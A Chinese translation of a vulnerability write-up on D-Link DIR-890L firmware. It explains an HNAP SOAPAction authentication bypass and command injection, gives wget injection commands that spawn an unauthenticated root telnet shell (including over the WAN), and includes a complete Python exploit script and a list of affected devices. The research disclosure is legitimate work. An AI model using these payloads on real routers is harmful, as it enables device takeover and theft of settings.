Hacking the D-Link DIR-890L
0x00 簡介
from:http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/
之前的6個月,D-Link都不斷使壞,把我整的暈頭轉向。今天我想找些樂子,登陸他們的網站,結果就看到了慘不忍睹的一幕:
D-Link’s $300 DIR-890L router
這個路由器上執行的韌體有很多bug,而最變態的地方在於,它居然跟D-link多年來在各種路由器上使用的韌體一模一樣。點我看小影片
0x01 開始分析
按照慣例,我們先獲取最新版本的韌體,然後使用binwalk來分析它,可以看到以下的資訊:
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/7"
116 0x74LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4905376 bytes
1835124 0x1C0074PackImg section delimiter tag, little endian size: 6345472 bytes; big endian size: 13852672 bytes
1835156 0x1C0094Squashfs filesystem, little endian, version 4.0, compression:xz, size: 13852268 bytes, 2566 inodes, blocksize: 131072 bytes, created: 2015-02-11 09:18:37
貌似這是個非常標準的linux韌體映象。只要你在過去的幾年裡分析過任何一個D-Link的韌體,沒準就會知道以下的目錄結構:
#!bash
$ ls squashfs-root
bin dev etc home htdocs include lib mnt mydlink proc sbin sys tmp usr var www
和HTTP/UPnP/HNAP有關的所有檔案都存放在htdocs目錄下。其中cgibin檔案最有意思,這是一個ARM ELF格式的二進位制檔案,將被WEB伺服器執行,所有CGI,UPnP和HNAP的功能都透過軟連線指向這個程式。
#!bash
$ ls -l htdocs/web/*.cgi
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/captcha.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/conntrack.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlapn.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlcfg.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dldongle.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwup.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwupload.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/hedwig.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/pigwidgeon.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/seama.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/service.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication_logout.cgi -> /htdocs/cgibin
這玩意錯綜複雜,不過沒關係,有了字串就可以找到每個功能對應的函式了。
程式首先會把argv[0]引數和軟連線的名稱作比較,來決定要執行什麼樣的動作。(argv[0]
是由軟連結的名稱來決定的,比如WEB伺服器執行htdocs/web/captcha.cgi -> /htdocs/cgibin的話,cgibin獲得到的argv[0]
就會包含catpcha.cgi,那麼程式就可以跳到catpcha的功能函式當中執行)
“Staircase” code graph, typical of if-else statements
每個軟連線名稱都是透過strcmp函式來比較的:
Function handlers for various symlinks
這樣一來, 我們很容易就可以透過符號連結的名稱來找到對應的函式功能程式碼,然後給它重新起個合適的名字:
Renamed symlink function handlers
既然發現了這些函式,那我們就開始找bug吧!
其他的一些D-Link裝置,同樣也執行這個韌體,他們的HTTP和UPnP介面已經被發現存在漏洞。然而,HNAP介面(存在於cgibin中的hnap_main函式)似乎一直被忽視。
HNAP(家庭網路管理協議)是一個基於SOAP的協議,類似UPnP,它廣泛應用於D-Link的"EZ"安裝模組,用來對路由器進行初始化配置。然而和UPnP不同的是,除了GetDeviceInfo(基本沒用的函式)之外,所有的HNAP功能,都需要HTTP基礎認證:
POST /HNAP1 HTTP/1.1
Host: 192.168.0.1
Authorization: Basic YWMEHZY+
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://purenetworks.com/HNAP1/AddPortMapping"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<AddPortMapping xmlns="http://purenetworks.com/HNAP1/">
<PortMappingDescription>foobar</PortMappingDescription>
<InternalClient>192.168.0.100</InternalClient>
<PortMappingProtocol>TCP</PortMappingProtocol>
<ExternalPort>1234</ExternalPort>
<InternalPort>1234</InternalPort>
</AddPortMapping>
</soap:Body>
</soap:Envelope>
SOAPAction頭在HNAP請求中特別重要,因為它指定了HNAP所要進行的操作。(以上這個請求執行的是AddPortMapping這個功能)
由於web伺服器將cgibin作為CGI來執行,所以hnap_main函式可以透過環境變數訪問到HNAP的請求資料,比如SOAPAction頭:
SOAPAction = getenv(“HTTP_SOAPACTION”);
在接近函式末尾的部分,程式使用了sprintf函式動態構造一條shell命令,這條命令將被傳入system函式執行:
sprintf(command, “sh %s%s.sh > /dev/console”, “/var/run/”, SOAPAction);
很明顯,hnap_main使用了請求頭中的SOAPAction頭作為系統命令的一部分!如果SOAPAction頭沒有被過濾,而且進入的這段函式不需要認證,那麼這很有可能是一個命令注入的bug。
回到hnap_main函式的開頭,程式首先檢查SOAPAction頭是否為http://purenetworks.com/HNAP1/GetDeviceSettings,如果是,則跳過認證。這是我們預料之中的,並且我們已經確定,GetDeviceSettings功能是不需要認證的。
if(strstr(SOAPAction, “http://purenetworks.com/HNAP1/GetDeviceSettings”) != NULL)
然而,可以注意到,strstr被用於字串檢查,這就表明了,SOAPAction頭只要包含http://purenetworks.com/HNAP1/GetDeviceSettings字串,就可以透過檢查,繞過認證。
所以,如果SOAPAction頭包含字串http://purenetworks.com/HNAP1/GetDeviceSettings,程式碼將會從請求頭中解析出Action的名稱(例如GetDeviceSettings)並且會移除字串最後的雙引號。
SOAPAction = strrchr(SOAPAction, ‘/’);
上圖程式碼會解析出Action名(類似GetDeviceSettings),它將被帶入sprintf函式,構造出被system執行的命令。
以下的C語言程式碼可以幫助大家進一步瞭解程式中的邏輯錯誤:
#!c
/* Grab a pointer to the SOAPAction header */
SOAPAction = getenv("HTTP_SOAPACTION");
/* Skip authentication if the SOAPAction header contains "http://purenetworks.com/HNAP1/GetDeviceSettings" */
if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") == NULL)
{
/* do auth check */
}
/* Do a reverse search for the last forward slash in the SOAPAction header */
SOAPAction = strrchr(SOAPAction, '/');
if(SOAPAction != NULL)
{
/* Point the SOAPAction pointer one byte beyond the last forward slash */
SOAPAction += 1;
/* Get rid of any trailing double quotes */
if(SOAPAction[strlen(SOAPAction)-1] == '"')
{
SOAPAction[strlen(SOAPAction)-1] = '\0';
}
}
else
{
goto failure_condition;
}
/* Build the command using the specified SOAPAction string and execute it */
sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction);
system(command);
以下是這個漏洞產生的兩個重要原因:
1.如果SOAPAction頭包含http://purenetworks.com/HNAP1/GetDeviceSettings字串,那麼就不需要認證。
2.程式會將SOAPAction頭中最後一個/後的字串被帶入sprintf構造shell命令,並且呼叫system函式進行執行。
因此,我們很容易就可以構造出一個SOAPAction報頭,既可以繞過認證,又可以將任意命令帶入系統執行:
SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`"
將reboot命令替換成telnetd,就可以開啟路由器的telnet服務,獲得一個無需認證的root許可權shell:
#!bash
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"' http://192.168.0.1/HNAP1
$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
如果開啟了遠端管理功能,HNAP請求將向WAN開放,這就使遠端利用成為可能。當然,路由器的防火牆將阻斷來自WAN的telnet連線。有一個簡單的解決辦法,就是結束HTTP伺服器程式,將telnet伺服器的埠設定成和HTTP伺服器相同:
#!bash
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"' http://1.2.3.4:8080/HNAP1
$ telnet 1.2.3.4 8080
Trying 1.2.3.4...
Connected to 1.2.3.4.
Escape character is '^]'.
BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
wget請求將會被掛起,因為cgibin會等待telnetd返回。下面是用Python寫的一個利用程式:
#!python
#!/usr/bin/env python
import sys
import urllib2
import httplib
try:
ip_port = sys.argv[1].split(':')
ip = ip_port[0]
if len(ip_port) == 2:
port = ip_port[1]
elif len(ip_port) == 1:
port = "80"
else:
raise IndexError
except IndexError:
print "Usage: %s <target ip:port>" % sys.argv[0]
sys.exit(1)
url = "http://%s:%s/HNAP1" % (ip, port)
# NOTE: If exploiting from the LAN, telnetd can be started on
# any port; killing the http server and re-using its port
# is not necessary.
#
# Killing off all hung hnap processes ensures that we can
# re-start httpd later.
command = "killall httpd; killall hnap; telnetd -p %s" % port
headers = {
"SOAPAction" : '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % command,
}
req = urllib2.Request(url, None, headers)
try:
urllib2.urlopen(req)
raise Exception("Unexpected response")
except httplib.BadStatusLine:
print "Exploit sent, try telnetting to %s:%s!" % (ip, port)
print "To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'"
sys.exit(0)
except Exception:
print "Received an unexpected response from the server; exploit probably failed. :("
0x02 結語
我已經在v1.00和v1.03版本的韌體上進行了測試(v1.03版本的韌體為截至目前的最新版本),都存在漏洞。那麼其他裝置是否也存在同樣的漏洞呢?
分析所有裝置韌體很乏味,所以我將這個漏洞交給Centrifuge團隊,這個團隊擁有一套自動分析系統。他們發現至少以下這些裝置存在漏洞:
- DAP-1522 revB
- DAP-1650 revB
- DIR-880L
- DIR-865L
- DIR-860L revA
- DIR-860L revB
- DIR-815 revB
- DIR-300 revB
- DIR-600 revB
- DIR-645
- TEW-751DR
- TEW-733GR
據我所知,HNAP協議在任何裝置上都無法被禁用。
更新:
這個漏洞似乎在今年早些時候被Samuel Huntly發現,但是隻在DIR-645被報告和修復。這個補丁看起來很傻比,所以我們還是期待後續吧。
相關文章
- Hacking PostgreSQL2020-08-19SQL
- Hacking weblogic2020-08-19Web
- Hacking with Unicode2020-08-19Unicode
- D-Link 漏洞挖掘2022-11-04
- Embedded devices hacking2020-08-19dev
- Hacking Hit Tests2019-02-27
- Hacking Oracle with Sql Injection2020-08-19OracleSQL
- Hacking ipcam like Harold in POI2020-08-19PCA
- [ARC059F] Unhappy Hacking2024-04-01APP
- URL Hacking - 前端猥瑣流2020-08-19前端
- Pocket Hacking: NetHunter實戰指南2020-08-19
- 滲透Hacking Team過程2020-08-19
- Hacking Team攻擊程式碼分析2020-08-19
- Hacking Team系列 Flash 0Day分析2020-08-19
- Hacking Team 新 Flash 0day分析2020-08-19
- 狗汪汪玩轉無線電 -- GPS Hacking (上)2020-08-19
- 簡要分析Hacking Team 遠端控制系統2020-08-19
- D-Link智慧家居新品將登陸蘋果中國官網2018-04-18蘋果
- D-Link DIR-823G v1.02 B05命令注入漏洞2020-03-31
- sec575 MOBILE DEVICE SECURITY AND ETHICAL HACKING -2020版本2024-04-26dev
- 還原黑客電影中那些hacking技術的真相2020-03-10黑客
- 運用 Hacking APIs GPT 進行 API 安全性測試2024-09-03APIGPT
- Hacking Team漏洞大範圍掛馬,上百萬電腦中招2020-08-19
- 何時能不被黑客魚肉?D-Link 智慧攝像頭又出事了2019-05-05黑客
- 在不需要知道密碼的情況下 Hacking MSSQL2020-08-19密碼SQL
- 華為、D-Link多款路由器被P2P殭屍網路接管2019-12-24路由器
- 這個D-Link不願修復的高危漏洞,影響面被嚴重低估了!2019-12-03
- 四款D-Link路由器爆遠端執行程式碼漏洞,且不可修復2019-10-08路由器行程
- 利用Sqlmap API介面聯動Google Hacking批次SQL隱碼攻擊檢測2024-04-14SQLAPIGo
- 一手前沿議題,2021年度 SSRC HACKING PARTY即將來襲2021-12-30
- Hacking Team攻擊程式碼分析Part 4: Flash 0day漏洞 CVE-2015-51222020-08-19
- 白帽黑客雲集Hacking Club 一線大廠拋最高40萬獎勵漏洞挖掘2021-07-28黑客
- Hacking Team攻擊程式碼分析Part 3 : Adobe Font Driver核心驅動許可權提升漏洞2020-08-19
- 無需hacking,新的WiKI-Eve攻擊能夠透過WiFi竊取數字密碼2023-09-12WiFi密碼
- 我們畢業啦!Hacking Camp 2021 結營,六大生態專案進入新階段2021-11-18
- Hacking Team攻擊程式碼分析Part5 Adobe Font Driver核心許可權提升漏洞第二彈+Win32k KALSR繞過漏洞2020-08-19Win32